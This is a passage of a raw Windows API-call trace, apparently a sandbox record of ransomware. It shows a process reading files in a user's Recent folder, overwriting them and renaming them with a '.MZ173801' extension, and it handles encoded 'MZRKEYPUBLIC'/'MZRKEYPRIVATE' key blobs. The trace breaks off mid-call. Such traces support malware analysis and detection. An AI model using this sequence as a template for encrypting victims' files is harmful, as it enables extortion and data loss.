lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253c12c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.903] GetCurrentThreadId () returned 0xab4 [0146.903] GetCurrentThreadId () returned 0xab4 [0146.903] GetCurrentThreadId () returned 0xab4 [0146.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.903] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.903] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.903] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x57a [0146.903] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.903] ReadFile (in: hFile=0x280, lpBuffer=0x2543f30, nNumberOfBytesToRead=0x57a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2543f30*, lpNumberOfBytesRead=0x19fa18*=0x57a, lpOverlapped=0x0) returned 1 [0146.904] CloseHandle (hObject=0x280) returned 1 [0146.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.905] WriteFile (in: hFile=0x280, lpBuffer=0x2545f60*, nNumberOfBytesToWrite=0x57a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2545f60*, lpNumberOfBytesWritten=0x19fa24*=0x57a, lpOverlapped=0x0) returned 1 [0146.906] CloseHandle (hObject=0x280) returned 1 [0146.907] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0anbzC4wy3QV.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0anbzc4wy3qv.lnk.mz173801")) returned 1 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] GetCurrentThreadId () returned 0xab4 [0146.908] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c70049, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x697487b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x697487b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="13_UhdLxbGNJHYgey.lnk", cAlternateFileName="13_UHD~1.LNK")) returned 1 [0146.908] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.908] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c70049, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x697487b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x697487b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e4)) returned 1 [0146.908] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk")) returned 0x20 [0146.908] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk", dwFileAttributes=0x80) returned 1 [0146.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252909c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.911] GetCurrentThreadId () returned 0xab4 [0146.911] GetCurrentThreadId () returned 0xab4 [0146.911] GetCurrentThreadId () returned 0xab4 [0146.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253a0fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.912] GetCurrentThreadId () returned 0xab4 [0146.912] GetCurrentThreadId () returned 0xab4 [0146.912] GetCurrentThreadId () returned 0xab4 [0146.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.912] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.912] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 